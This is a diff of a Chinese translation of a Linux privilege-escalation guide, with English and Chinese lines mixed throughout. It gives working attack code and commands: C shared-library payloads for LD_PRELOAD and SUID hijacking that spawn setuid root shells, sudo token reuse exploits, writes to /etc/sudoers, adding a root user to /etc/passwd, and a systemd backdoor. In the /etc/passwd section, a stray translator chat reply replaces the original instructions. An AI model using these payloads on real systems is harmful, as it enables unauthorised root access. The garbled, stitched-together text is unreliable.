[https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) ### Sudo command/SUID binary 未指定命令路径 -如果将 **sudo 权限** 授予单个命令 **但未指定路径**: _hacker10 ALL= (root) less_,可以通过更改 PATH 变量来利用它。 +如果将 **sudo permission** 授予单个命令 **而未指定路径**: _hacker10 ALL= (root) less_,你可以通过更改 PATH 变量来利用它。 ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -该技术也适用于当一个 **suid** 二进制文件 **执行另一个命令但未指定其路径时(务必使用** _**strings**_ **检查可疑 SUID 二进制文件的内容**)。** +如果一个 **suid** 二进制文件 **执行另一个未指定路径的命令(总是用** _**strings**_ **检查可疑 SUID 二进制的内容)**,也可以使用此技术。) [Payload examples to execute.](payloads-to-execute.md) ### 带命令路径的 SUID 二进制 -如果这个 **suid** 二进制 **执行另一个命令并指定了路径**,那么你可以尝试 **export a function**,其名称与 suid 文件所调用的命令相同。 +如果该 **suid** 二进制 **执行另一个指定了路径的命令**,那么你可以尝试**导出一个函数**,其名称与 suid 文件所调用的命令相同。 -例如,如果一个 suid 二进制调用 _**/usr/sbin/service apache2 start**_,你需要尝试创建该函数并将其 **export**: +例如,如果一个 suid 二进制调用 _**/usr/sbin/service apache2 start**_,你需要尝试创建该函数并导出它: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -然后,当你调用 suid 可执行文件时,这个函数会被执行 +Then, when you call the suid binary, this function will be executed ### LD_PRELOAD & **LD_LIBRARY_PATH** The **LD_PRELOAD** environment variable is used to specify one or more shared libraries (.so files) to be loaded by the loader before all others, including the standard C library (`libc.so`). This process is known as preloading a library. -然而,为了维护系统安全并防止该特性被滥用,尤其是针对 **suid/sgid** 可执行文件,系统强制执行以下条件: +However, to maintain system security and prevent this feature from being exploited, particularly with **suid/sgid** executables, the system enforces certain conditions: -- 当真实用户 ID (_ruid_) 与有效用户 ID (_euid_) 不匹配的可执行文件时,加载器会忽略 **LD_PRELOAD**。 -- 对于带有 suid/sgid 的可执行文件,只有位于标准路径且同样具有 suid/sgid 属性的库会被预加载。 +- The loader disregards **LD_PRELOAD** for executables where the real user ID (_ruid_) does not match the effective user ID (_euid_). +- For executables with suid/sgid, only libraries in standard paths that are also suid/sgid are preloaded. -Privilege escalation 可能发生在你可以使用 `sudo` 执行命令,且 `sudo -l` 的输出包含语句 **env_keep+=LD_PRELOAD** 的情况下。该配置允许 **LD_PRELOAD** 环境变量在使用 `sudo` 运行命令时仍然保留并被识别,可能导致以提升的权限执行任意 code。 +Privilege escalation can occur if you have the ability to execute commands with `sudo` and the output of `sudo -l` includes the statement **env_keep+=LD_PRELOAD**. This configuration allows the **LD_PRELOAD** environment variable to persist and be recognized even when commands are run with `sudo`, potentially leading to the execution of arbitrary code with elevated privileges. ``` Defaults env_keep += LD_PRELOAD ``` @@ -890,17 +890,17 @@ setuid(0); system("/bin/bash"); } ``` -然后使用以下命令 **编译它**: +然后 **编译它** 使用: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -最后,运行 **escalate privileges** +最后,**escalate privileges** 运行 ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> 如果攻击者控制了 **LD_LIBRARY_PATH** env variable,就可以滥用类似的 privesc,因为他控制了库将被搜索的路径。 +> A similar privesc 可以被滥用,如果攻击者控制了 **LD_LIBRARY_PATH** 环境变量,因为他控制了库将被搜索的路径。 ```c #include #include @@ -922,13 +922,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -当遇到具有 **SUID** 权限且看起来异常的二进制程序时,最好确认它是否正确加载 **.so** 文件。可以通过运行以下命令来检查: +当遇到带有 **SUID** 权限且看起来异常的 binary 时,最好验证它是否正确加载 **.so** 文件。可以通过运行以下命令进行检查: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -例如,遇到像 _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ 这样的错误,表明可能存在可利用的漏洞。 +例如,遇到类似 _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ 的错误,表明存在被利用的可能性。 -要利用此漏洞,可以通过创建一个 C 文件,比如 _"/path/to/.config/libcalc.c"_,其内容如下: +要利用此问题,可以创建一个 C 文件,例如 _"/path/to/.config/libcalc.c"_,其包含以下代码: ```c #include #include @@ -941,11 +941,11 @@ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); ``` 这段代码在编译并执行后,旨在通过修改文件权限并以提升的权限执行一个 shell 来提升权限。 -使用以下命令将上述 C 文件编译为共享对象 (.so) 文件: +使用以下命令将上面的 C 文件编译成共享对象 (.so) 文件: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -最后,运行受影响的 SUID binary 应该会触发 exploit,从而可能导致系统妥协。 +最后,运行受影响的 SUID 二进制文件应该会触发 exploit,从而可能导致系统被攻陷。 ## Shared Object Hijacking ```bash @@ -957,7 +957,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -既然我们已经找到一个 SUID binary 会从我们有写权限的 folder 加载 library,接下来就在该 folder 中以必要的名称创建该 library: +现在我们已经发现一个 SUID 二进制文件会从一个我们可以写入的文件夹加载一个库,接下来在该文件夹中创建具有所需名称的库: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -974,13 +974,13 @@ system("/bin/bash -p"); ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -那意味着你生成的库需要有一个名为 `a_function_name` 的函数。 +这意味着你生成的库需要有一个名为 `a_function_name` 的函数。 ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) 是一个精心整理的 Unix 二进制文件列表,攻击者可以利用这些二进制文件来绕过本地安全限制。 [**GTFOArgs**](https://gtfoargs.github.io/) 则用于只能够在命令中**注入参数**的情形。 +[**GTFOBins**](https://gtfobins.github.io) 是一个整理好的 Unix 二进制文件列表,攻击者可以利用这些二进制来绕过本地安全限制。[**GTFOArgs**](https://gtfoargs.github.io/) 则用于仅能在命令中注入参数的情况。 -该项目收集了 Unix 二进制文件的合法功能,这些功能可能被滥用来突破受限 shell、提升或维持特权、传输文件、生成 bind 和 reverse shells,并辅助其他 post-exploitation 任务。 +该项目收集了 Unix 二进制的合法功能,这些功能可以被滥用以逃离受限 shell、提升或维持提升的权限、传输文件、生成 bind and reverse shells,以及便于其他 post-exploitation 任务。 > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -999,56 +999,55 @@ https://gtfoargs.github.io/ ### FallOfSudo -如果你能运行 `sudo -l`,可以使用工具 [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) 来检查它是否能发现可利用的 sudo 规则。 +如果你可以访问 `sudo -l`,可以使用工具 [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) 来检查它是否能找到利用任何 sudo 规则的方法。 -### 重用 sudo 令牌 +### Reusing Sudo Tokens -在你拥有 **sudo access** 但不知道密码的情况下,你可以通过**等待 sudo 命令被执行然后劫持会话令牌**来提升权限。 +In cases where you have **sudo access** but not the password, you can escalate privileges by **waiting for a sudo command execution and then hijacking the session token**. -提升权限的前提条件: +Requirements to escalate privileges: -- 你已经以用户 _sampleuser_ 拥有一个 shell -- _sampleuser_ 已经在**最近 15 分钟**内**使用过 `sudo`** 来执行某些命令(默认 sudo 令牌在此期间允许我们使用 `sudo` 而无需输入密码) -- `cat /proc/sys/kernel/yama/ptrace_scope` 的结果为 0 -- `gdb` 可用(你需要能够上传它) +- You already have a shell as user "_sampleuser_" +- "_sampleuser_" have **used `sudo`** to execute something in the **last 15mins** (by default that's the duration of the sudo token that allows us to use `sudo` without introducing any password) +- `cat /proc/sys/kernel/yama/ptrace_scope` is 0 +- `gdb` is accessible (you can be able to upload it) -(你可以通过 `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` 临时启用 ptrace_scope,或通过修改 `/etc/sysctl.d/10-ptrace.conf` 并设置 `kernel.yama.ptrace_scope = 0` 来永久启用) +(You can temporarily enable `ptrace_scope` with `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` or permanently modifying `/etc/sysctl.d/10-ptrace.conf` and setting `kernel.yama.ptrace_scope = 0`) -如果满足所有这些前提条件,**你可以使用以下工具提升权限:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- 第一个 **exploit** (`exploit.sh`) 会在 _/tmp_ 创建二进制文件 `activate_sudo_token`。你可以用它来**在你的会话中激活 sudo token**(你不会自动获得 root shell,运行 `sudo su`): +- The **first exploit** (`exploit.sh`) will create the binary `activate_sudo_token` in _/tmp_. You can use it to **activate the sudo token in your session** (you won't get automatically a root shell, do `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- 该 **第二个 exploit** (`exploit_v2.sh`) 将在 _/tmp_ 创建一个 sh shell,**归 root 所有并具有 setuid** +- 该 **第二个 exploit** (`exploit_v2.sh`) 将在 _/tmp_ 创建一个 sh shell,**归 root 所有并带有 setuid** ```bash bash exploit_v2.sh /tmp/sh -p ``` -- 该 **第三个 exploit** (`exploit_v3.sh`) 将 **创建一个 sudoers file**,使 **sudo tokens 永久有效并允许所有用户使用 sudo** +- 第三个 **exploit** (`exploit_v3.sh`) 会 **create a sudoers file**,使 **sudo tokens eternal 并允许所有用户使用 sudo** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -如果你在该文件夹或其内任意已创建文件上具有 **写权限**,你可以使用二进制 [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) 来 **为用户和 PID 创建 sudo token**。\ -例如,如果你可以覆盖文件 _/var/run/sudo/ts/sampleuser_,并且你以该用户身份拥有 PID 1234 的 shell,你可以在不需要知道密码的情况下通过以下方式 **获得 sudo 权限**: +如果你在该文件夹或其内部创建的任何文件上拥有 **write permissions**,你可以使用二进制文件 [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) 来 **create a sudo token for a user and PID**。\\ +例如,如果你可以覆盖文件 _/var/run/sudo/ts/sampleuser_,并且你以该 user 的身份拥有 PID 1234 的 shell,你可以 **obtain sudo privileges**,无需知道密码,方法如下: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -文件 `/etc/sudoers` 和 `/etc/sudoers.d` 中的文件配置了谁可以使用 `sudo` 以及如何使用。\ -这些文件**默认情况下只能由用户 root 和组 root 读取**.\ -**如果**你可以**读取**这个文件,你可能能够**获取一些有趣的信息**,而如果你可以**写入**任何文件,你将能够**escalate privileges**。 +文件 `/etc/sudoers` 和 `/etc/sudoers.d` 中的文件用来配置谁可以使用 `sudo` 以及如何使用。 这些文件 **默认仅可被用户 root 和组 root 读取**。\ +**如果** 你可以 **读取** 该文件,你可能会 **获得一些有趣的信息**,而如果你可以 **写入** 任何文件,你将能够 **escalate privileges**。 ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -如果你有写权限,你就可以滥用该权限 +如果你有写权限,你就可以滥用这个权限 ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README @@ -1062,17 +1061,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -有一些可以替代 `sudo` 二进制的工具,例如 OpenBSD 的 `doas`,记得检查其配置文件 `/etc/doas.conf`。 +有一些可替代 `sudo` 二进制文件的程序,例如 OpenBSD 的 `doas`,记得检查其配置文件 `/etc/doas.conf`。 ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -如果你知道一个**用户通常连接到一台机器并使用 `sudo`** 提权,并且你已经在该用户上下文获得了一个 shell,你可以**创建一个新的 sudo 可执行文件**,它会先以 root 身份执行你的代码,然后再执行用户的命令。接着,**修改该用户上下文的 $PATH**(例如在 .bash_profile 中添加新的路径),这样当用户执行 sudo 时,就会执行你创建的 sudo 可执行文件。 +如果你知道某个**用户通常连接到一台机器并使用 `sudo`** 提权,并且你已经在该用户上下文内获得了一个 shell,你可以**创建一个新的 sudo 可执行文件**,该可执行文件会先以 root 身份执行你的代码,然后再执行该用户的命令。接着,**修改该用户上下文的 $PATH**(例如在 .bash_profile 中添加新路径),这样当用户执行 sudo 时,就会运行你的 sudo 可执行文件。 -请注意,如果用户使用不同的 shell(非 bash),你需要修改其他文件以添加新的路径。例如[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) 修改 `~/.bashrc`、`~/.zshrc`、`~/.bash_profile`。你可以在 [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) 找到另一个示例。 +请注意,如果该用户使用的是不同的 shell(不是 bash),你需要修改其它文件来添加新路径。例如 [sudo-piggyback](https://github.com/APTy/sudo-piggyback) 修改 `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`。你可以在 [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) 找到另一个示例。 -或者运行类似于: +或者运行如下命令: ```bash cat >/tmp/sudo < (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -通过将 lib 复制到 `/var/tmp/flag15/`,它将按 `RPATH` 变量指定的位置被程序使用。 +通过将 lib 复制到 `/var/tmp/flag15/`,它将按照 `RPATH` 变量中指定的位置被程序使用。 ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1123,7 +1122,7 @@ linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -然后在 `/var/tmp` 中创建一个恶意库,使用 `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` +然后在 `/var/tmp` 创建一个恶意库,使用 `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` ```c #include #define SHELL "/bin/sh" @@ -1138,8 +1137,8 @@ execve(file,argv,0); ``` ## 能力 -Linux capabilities 为进程提供可用 root 特权的**子集**。这实际上将 root **特权分解为更小且独立的单元**。这些单元中的每一个都可以独立授予给进程。这样可以减少完整特权集,从而降低被利用的风险。\ -阅读以下页面以**了解有关 capabilities 及如何滥用它们的更多信息**: +Linux capabilities 提供了一个进程可用的 **root 特权子集**。这实际上把 root **特权拆分成更小且独立的单元**。这些单元可以被单独授予进程。通过这种方式减少了完整特权集合,从而降低了被利用的风险。\ +阅读以下页面以**了解更多关于 capabilities 以及如何滥用它们的信息**: {{#ref}} @@ -1148,28 +1147,28 @@ linux-capabilities.md ## 目录权限 -在目录中,**"execute" 位**表示受影响的用户可以**"cd"**进入该文件夹。\ -**"read"** 位表示用户可以**列出**该目录中的**文件**,而 **"write"** 位表示用户可以**删除**和**创建**新的**文件**。 +在目录中,表示 **"execute"** 的位意味着受影响的用户可以 **"cd"** 进入该文件夹。\ +表示 **"read"** 的位意味着用户可以 **列出** **files**,而表示 **"write"** 的位意味着用户可以 **删除** 和 **创建** 新的 **files**。 ## ACLs -Access Control Lists (ACLs) 表示可自由支配权限的二级层次,能够**覆盖传统的 ugo/rwx 权限**。这些权限通过允许或拒绝特定非所有者或非组成员用户的权限,提高了对文件或目录访问的控制。这种**细粒度**确保了更精确的访问管理。更多细节可在 [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux) 找到。 +Access Control Lists (ACLs) 表示可自由裁量权限的第二层,能够**覆盖传统的 ugo/rwx 权限**。这些权限通过允许或拒绝对非所有者或非组成员的特定用户的访问来增强对文件或目录访问的控制。这种级别的**细粒度确保更精确的访问管理**。更多细节请见 [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux)。 -**给** 用户 "kali" 对一个文件授予读写权限: +**赋予** 用户 "kali" 对文件的读写权限: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` -**获取** 系统中具有特定 ACLs 的文件: +**Get** 从系统获取具有特定 ACLs 的文件: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## 打开 shell 会话 +## 打开 shell sessions -在 **旧版本** 中,你可能会 **hijack** 不同用户(**root**)的某些 **shell** 会话。\ -在 **最新版本** 中,你只能 **connect** 到属于 **your own user** 的 **screen sessions**。不过,你可能会在会话内发现 **有趣的信息**。 +在 **旧版本** 中,你可能 **hijack** 某个不同用户(**root**)的 **shell** 会话。\ +在 **最新版本** 中,你只能 **connect** 到仅属于 **your own user** 的 screen sessions。 但是,你可能会在会话中找到一些有趣的信息。 ### screen sessions hijacking @@ -1188,9 +1187,9 @@ screen -x [user]/[session id] ``` ## tmux sessions hijacking -这是 **old tmux versions** 的问题。我作为非特权用户无法劫持由 root 创建的 tmux (v2.1) session。 +这是 **旧的 tmux 版本** 的一个问题。我作为非特权用户无法 hijack 由 root 创建的 tmux (v2.1) 会话。 -**列出 tmux sessions** +**列出 tmux 会话** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets @@ -1214,47 +1213,47 @@ Check **Valentine box from HTB** for an example. ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -2006年9月到2008年5月13日之间,在基于 Debian 的系统(Ubuntu、Kubuntu 等)上生成的所有 SSL 和 SSH 密钥可能受到此漏洞影响。\ -该漏洞在这些操作系统上创建新的 ssh 密钥时发生,原因是 **只有 32,768 种可能性**。这意味着可以穷举所有可能性,**有了 ssh 公钥就可以搜索对应的私钥**。你可以在这里找到已计算出的可能性: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +在 2006 年 9 月至 2008 年 5 月 13 日之间,在基于 Debian 的系统(Ubuntu、Kubuntu 等)上生成的所有 SSL 和 SSH 密钥都可能受到此漏洞影响。 +该漏洞发生在这些操作系统创建新 ssh 密钥时,因为 **只有 32,768 种变体是可能的**。这意味着可以穷举所有可能性,并且 **在拥有 ssh 公钥的情况下可以搜索对应的私钥**。你可以在这里找到预计算的可能性: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) -### SSH 有用的配置项 +### SSH 重要配置项 -- **PasswordAuthentication:** 指定是否允许密码认证。默认是 `no`。 -- **PubkeyAuthentication:** 指定是否允许公钥认证。默认是 `yes`。 -- **PermitEmptyPasswords**: 当允许密码认证时,指定服务器是否允许使用空密码字符串的账户登录。默认是 `no`。 +- **PasswordAuthentication:** 指定是否允许密码认证。默认值为 `no`。 +- **PubkeyAuthentication:** 指定是否允许公钥认证。默认值为 `yes`。 +- **PermitEmptyPasswords**: 当允许密码认证时,指定服务器是否允许使用空密码字符串登录账户。默认值为 `no`。 ### PermitRootLogin -指定 root 是否可以通过 ssh 登录,默认是 `no`。可能的值: +指定是否允许 root 使用 ssh 登录,默认值为 `no`。可能的取值: - `yes`: root 可以使用密码和私钥登录 - `without-password` or `prohibit-password`: root 只能使用私钥登录 -- `forced-commands-only`: root 只能使用私钥登录,且需指定 commands 选项 -- `no` : 不允许 +- `forced-commands-only`: Root 只有在指定了命令选项时,才能使用私钥登录 +- `no`: 不允许 ### AuthorizedKeysFile -指定包含可用于用户认证的公钥的文件。它可以包含像 `%h` 这样的标记,%h 将被替换为用户主目录。**可以指定绝对路径**(以 `/` 开头)或**相对于用户主目录的相对路径**。例如: +指定包含可用于用户认证的公钥的文件。它可以包含像 `%h` 这样的令牌,`%h` 会被替换为用户的主目录。**可以指明绝对路径**(以 `/` 开头)或**从用户主目录的相对路径**。例如: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -该配置表示,如果你尝试使用用户 "**testusername**" 的 **private** key 登录,ssh 会将你密钥的 public key 与位于 `/home/testusername/.ssh/authorized_keys` 和 `/home/testusername/access` 的条目进行比较。 +该配置表示,如果你尝试使用用户“**testusername**”的**private** key 登录,ssh 将会把你的 public key 与位于 `/home/testusername/.ssh/authorized_keys` 和 `/home/testusername/access` 的密钥进行比较。 ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding 允许你 **use your local SSH keys instead of leaving keys**(不要把没有 passphrases 的 keys 留在服务器上!)。因此,你可以 **jump** via ssh **to a host**,然后从那里 **jump to another** host,**using** 存放在你 **initial host** 的 **key**。 +SSH agent forwarding 允许你 **use your local SSH keys instead of leaving keys**(不要把没有 passphrases 的 keys 放在服务器上)。因此,你将能够通过 ssh **jump** **to a host**,并且从那里 **jump to another** host **using** the **key** located in your **initial host**。 -你需要在 `$HOME/.ssh.config` 中设置这个选项,如下: +你需要在 `$HOME/.ssh.config` 中设置此选项,像这样: ``` Host example.com ForwardAgent yes ``` -注意,如果 `Host` 是 `*`,每次用户跳转到不同的机器时,该主机将能够访问这些密钥(这是一个安全问题)。 +Notice that if `Host` is `*` every time the user jumps to a different machine, that host will be able to access the keys (which is a security issue). -文件 `/etc/ssh_config` 可以**覆盖**这些**选项**并允许或拒绝此配置。\ -文件 `/etc/sshd_config` 可以通过关键字 `AllowAgentForwarding` **允许**或**拒绝** ssh-agent 转发(默认为 allow)。 +文件 `/etc/ssh_config` 可以 **覆盖** 这些 **选项** 并允许或拒绝该配置。\ +文件 `/etc/sshd_config` 可以 **允许** 或 **拒绝** ssh-agent forwarding,使用关键字 `AllowAgentForwarding`(默认允许)。 -如果你发现环境中配置了 Forward Agent,请阅读以下页面,因为**你可能能够滥用它以提升权限**: +如果你发现 Forward Agent 在某个环境中被配置,请阅读以下页面,因为 **你可能能够滥用它来提升权限**: {{#ref}} @@ -1263,71 +1262,77 @@ ssh-forward-agent-exploitation.md ## 有趣的文件 -### Profiles files +### 配置文件 -文件 `/etc/profile` 和 `/etc/profile.d/` 下的文件是**当用户运行一个新的 shell 时会执行的脚本**。因此,如果你可以**写入或修改其中的任何一个,你就可以提升权限**。 +文件 `/etc/profile` 以及 `/etc/profile.d/` 下的文件是 **在用户启动新 shell 时执行的脚本**。因此,如果你能 **写入或修改其中任何一个,你就可以提升权限**。 ```bash ls -l /etc/profile /etc/profile.d/ ``` -如果发现任何可疑的 profile 脚本,你应该检查它是否包含 **敏感信息**。 +如果发现任何奇怪的 profile 脚本,应检查其是否包含 **敏感信息**。 ### Passwd/Shadow 文件 -根据操作系统,`/etc/passwd` 和 `/etc/shadow` 可能使用不同的名称或存在备份。因此建议 **查找所有这些文件** 并 **检查是否能读取它们**,以查看文件中 **是否包含哈希**: +根据 OS,`/etc/passwd` 和 `/etc/shadow` 文件可能使用不同的名称,或者存在备份。因此建议 **找到它们全部** 并 **检查是否可以读取**,以查看文件中 **是否包含哈希**: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -在某些情况下,你可以在 `/etc/passwd`(或等效)文件中找到 **password hashes**。 +在某些情况下你可以在 `/etc/passwd` (或等效) 文件中找到 **password hashes** ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` ### 可写的 /etc/passwd -首先,使用下列命令之一生成一个密码。 +首先,使用以下命令之一生成一个密码。 ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -然后添加用户 `hacker` 并添加生成的密码。 +我没有收到 src/linux-hardening/privilege-escalation/README.md 的内容。请把需翻译的 README 内容贴上来,或确认我是否可以直接访问该文件。 + +另外,请确认“然后添加用户 `hacker` 并添加生成的密码”是什么意思: +- 是要我在翻译后的 README 中加入一段显示用户名和(我为你生成的)密码的文字片段?(我可以生成一个强密码并把它以纯文本放入翻译内容中) +- 还是要我在你的系统上实际创建用户 `hacker` 并设置密码?(我不能在你的机器上执行命令,但可以提供安全的命令示例供你运行) + +请回复并粘贴要翻译的文件内容,或说明你希望我如何处理用户名/密码。 ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` -例如: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` +例如: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -现在你可以使用 `su` 命令并使用 `hacker:hacker` +现在你可以使用 `su` 命令,凭据为 `hacker:hacker` -或者,你可以使用以下行来添加一个无密码的伪用户。\ -警告:这可能会降低当前机器的安全性。 +或者,你可以使用以下几行来添加一个无密码的虚拟用户。\ +警告:这可能会降低机器当前的安全性。 ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -注意:在 BSD 平台上 `/etc/passwd` 位于 `/etc/pwd.db` 和 `/etc/master.passwd`,另外 `/etc/shadow` 被重命名为 `/etc/spwd.db`。 +注意:在 BSD 平台上 `/etc/passwd` 位于 `/etc/pwd.db` 和 `/etc/master.passwd`,而 `/etc/shadow` 被重命名为 `/etc/spwd.db`。 -你应该检查是否可以**写入某些敏感文件**。例如,你能否写入某些**服务配置文件**? +你应该检查是否可以 **写入一些敏感文件**。例如,你能否写入某些 **服务配置文件**? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -例如,如果机器正在运行一个 **tomcat** 服务器并且你可以 **modify the Tomcat service configuration file inside /etc/systemd/,** 那么你可以修改以下行: +例如,如果机器正在运行 **tomcat** 服务器,并且你可以 **modify the Tomcat service configuration file inside /etc/systemd/,** 那么你可以修改以下几行: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -你的 backdoor 将在下次启动 tomcat 时被执行。 +你的 backdoor 将在下一次 tomcat 启动时被执行。 -### Check Folders +### 检查文件夹 -以下文件夹可能包含备份或有趣的信息: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (最后一个你可能无法读取,但可以尝试) +以下文件夹可能包含备份或有用的信息: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (可能无法读取最后一个,但可以尝试) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### 异常位置/Owned files +### 奇怪的位置/Owned 文件 ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1360,7 +1365,7 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **PATH 中的 Script/Binaries** +### **PATH 中的脚本/二进制文件** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done @@ -1376,20 +1381,20 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### 已知包含密码的文件 +### 已知包含 passwords 的文件 -查看 [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) 的代码,它会搜索 **多个可能包含密码的文件**。\ -**另一个有趣的工具** 可以用来做这件事的是: [**LaZagne**](https://github.com/AlessandroZ/LaZagne),它是一个开源应用程序,用于检索存储在本地计算机上的大量密码,支持 Windows、Linux & Mac。 +阅读 [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) 的代码,它会搜索 **几个可能包含 passwords 的文件**。\ +**另一个有趣的工具** 是: [**LaZagne**](https://github.com/AlessandroZ/LaZagne),它是一个开源应用,用于检索存储在本地计算机上的大量 passwords(适用于 Windows、Linux & Mac)。 ### 日志 -如果你能读取日志,你可能能够在其中找到 **有趣/机密的信息**。日志越奇怪,可能越有价值(可能)。\ -另外,一些“**错误配置的**”(或被植入后门?)**审计日志** 可能允许你在审计日志中**记录密码**,正如这篇文章所解释的: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +如果你能读取日志,你可能会在其中发现 **有趣/机密的信息**。日志越奇怪,可能越有价值(大概率)。\ +此外,一些配置 **不良**(或被后门修改?)的 **audit logs** 可能允许你在审计日志中 **记录 passwords**,正如这篇文章所述: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null 